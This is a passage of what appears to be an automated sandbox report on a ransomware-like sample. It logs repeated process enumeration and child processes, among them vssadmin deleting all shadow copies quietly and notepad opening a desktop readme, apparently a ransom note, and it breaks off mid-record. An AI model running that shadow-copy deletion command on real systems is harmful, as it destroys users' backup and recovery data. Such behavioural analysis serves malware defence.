| out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1df8 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1ad8 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf38 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1a18 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e58 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1838 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1a18 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.816] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0183.817] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0183.817] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0183.817] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.817] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0183.817] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.817] Sleep (dwMilliseconds=0x64) [0183.923] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0183.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.923] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0183.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.924] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0183.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.924] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0183.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.924] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0183.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.924] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0183.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.924] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0183.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.925] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0183.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.925] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0183.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.925] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0183.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.925] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0183.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.926] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0183.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.926] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0183.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.926] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0183.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.926] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0183.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.927] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0183.927] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.927] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0183.927] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.927] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0183.927] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.928] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0183.928] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.928] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0183.928] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0183.928] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0183.928] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0750 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e70 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e40 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e58 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f07e0 [0183.929] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.929] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.930] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0183.930] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1de0 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.931] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0183.931] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0183.931] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf38 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0183.931] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1a18 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0183.931] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1df8 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.931] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.931] Sleep (dwMilliseconds=0x64) [0184.068] Sleep (dwMilliseconds=0x64) [0184.217] Sleep (dwMilliseconds=0x64) [0184.364] Sleep (dwMilliseconds=0x64) [0184.513] Sleep (dwMilliseconds=0x64) [0184.666] Sleep (dwMilliseconds=0x64) [0184.787] Sleep (dwMilliseconds=0x64) [0185.013] Sleep (dwMilliseconds=0x64) [0185.485] Sleep (dwMilliseconds=0x64) [0185.648] Sleep (dwMilliseconds=0x64) [0185.809] Sleep (dwMilliseconds=0x64) [0185.960] Sleep (dwMilliseconds=0x64) [0186.069] Sleep (dwMilliseconds=0x64) [0186.229] Sleep (dwMilliseconds=0x64) [0186.425] Sleep (dwMilliseconds=0x64) [0186.562] Sleep (dwMilliseconds=0x64) [0186.701] Sleep (dwMilliseconds=0x64) [0186.831] Sleep (dwMilliseconds=0x64) [0186.982] Sleep (dwMilliseconds=0x64) [0187.092] Sleep (dwMilliseconds=0x64) [0187.235] Sleep (dwMilliseconds=0x64) [0187.404] Sleep (dwMilliseconds=0x64) [0187.565] Sleep (dwMilliseconds=0x64) [0187.696] Sleep (dwMilliseconds=0x64) [0187.840] Sleep (dwMilliseconds=0x64) [0188.015] Sleep (dwMilliseconds=0x64) [0188.160] Sleep (dwMilliseconds=0x64) [0188.300] Sleep (dwMilliseconds=0x64) [0188.419] Sleep (dwMilliseconds=0x64) [0188.539] Sleep (dwMilliseconds=0x64) [0188.700] Sleep (dwMilliseconds=0x64) [0188.816] Sleep (dwMilliseconds=0x64) [0188.956] Sleep (dwMilliseconds=0x64) [0189.102] Sleep (dwMilliseconds=0x64) [0189.250] Sleep (dwMilliseconds=0x64) [0189.396] Sleep (dwMilliseconds=0x64) [0189.561] Sleep (dwMilliseconds=0x64) [0189.718] Sleep (dwMilliseconds=0x64) [0190.329] Sleep (dwMilliseconds=0x64) [0190.457] Sleep (dwMilliseconds=0x64) [0190.569] Sleep (dwMilliseconds=0x64) [0190.733] Sleep (dwMilliseconds=0x64) [0190.885] Sleep (dwMilliseconds=0x64) [0191.019] Sleep (dwMilliseconds=0x64) [0191.171] Sleep (dwMilliseconds=0x64) [0191.321] Sleep (dwMilliseconds=0x64) [0191.477] Sleep (dwMilliseconds=0x64) [0191.613] Sleep (dwMilliseconds=0x64) [0191.749] Sleep (dwMilliseconds=0x64) [0191.894] Sleep (dwMilliseconds=0x64) [0192.035] Sleep (dwMilliseconds=0x64) [0192.174] Sleep (dwMilliseconds=0x64) [0192.366] Sleep (dwMilliseconds=0x64) [0192.504] Sleep (dwMilliseconds=0x64) [0192.643] Sleep (dwMilliseconds=0x64) [0192.766] Sleep (dwMilliseconds=0x64) [0192.891] Sleep (dwMilliseconds=0x64) [0193.039] Sleep (dwMilliseconds=0x64) [0193.149] Sleep (dwMilliseconds=0x64) [0193.285] Sleep (dwMilliseconds=0x64) [0193.435] Sleep (dwMilliseconds=0x64) [0193.552] Sleep (dwMilliseconds=0x64) [0193.668] Sleep (dwMilliseconds=0x64) [0193.822] Sleep (dwMilliseconds=0x64) [0193.972] Sleep (dwMilliseconds=0x64) [0194.179] Sleep (dwMilliseconds=0x64) [0194.339] Sleep (dwMilliseconds=0x64) [0194.794] Sleep (dwMilliseconds=0x64) [0194.991] Sleep (dwMilliseconds=0x64) [0195.243] Sleep (dwMilliseconds=0x64) Thread: id = 1776 os_tid = 0xe84 Process: id = "9" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3534c000" os_pid = "0xe78" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xdbc" cmd_line = "C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1774 os_tid = 0xe7c Thread: id = 3009 os_tid = 0x11a4 Thread: id = 3374 os_tid = 0x1004 Thread: id = 3375 os_tid = 0x100c Thread: id = 3376 os_tid = 0x1010 Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x27f1b000" os_pid = "0x1018" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe78" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1997 os_tid = 0x101c Thread: id = 2438 os_tid = 0xad4 Thread: id = 2734 os_tid = 0x1308 Thread: id = 2905 os_tid = 0xf40 Thread: id = 2940 os_tid = 0xfe8 Process: id = "11" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x5f14d000" os_pid = "0xe94" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xd94" cmd_line = "C:\\WINDOWS\\system32\\notepad.exe C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3379 os_tid = 0xe98 Thread: id = 3380 os_tid = 0xe9c Thread: id = 3383 os_tid = 0xf0c Thread: id = 3395 os_tid = 0xd64 Thread: id = 3402 os_tid = 0x534 Thread: id = 3403 os_tid = 0x540 Process: id = "12" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x28b51000" os_pid = "0xf00" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xd94" cmd_line = 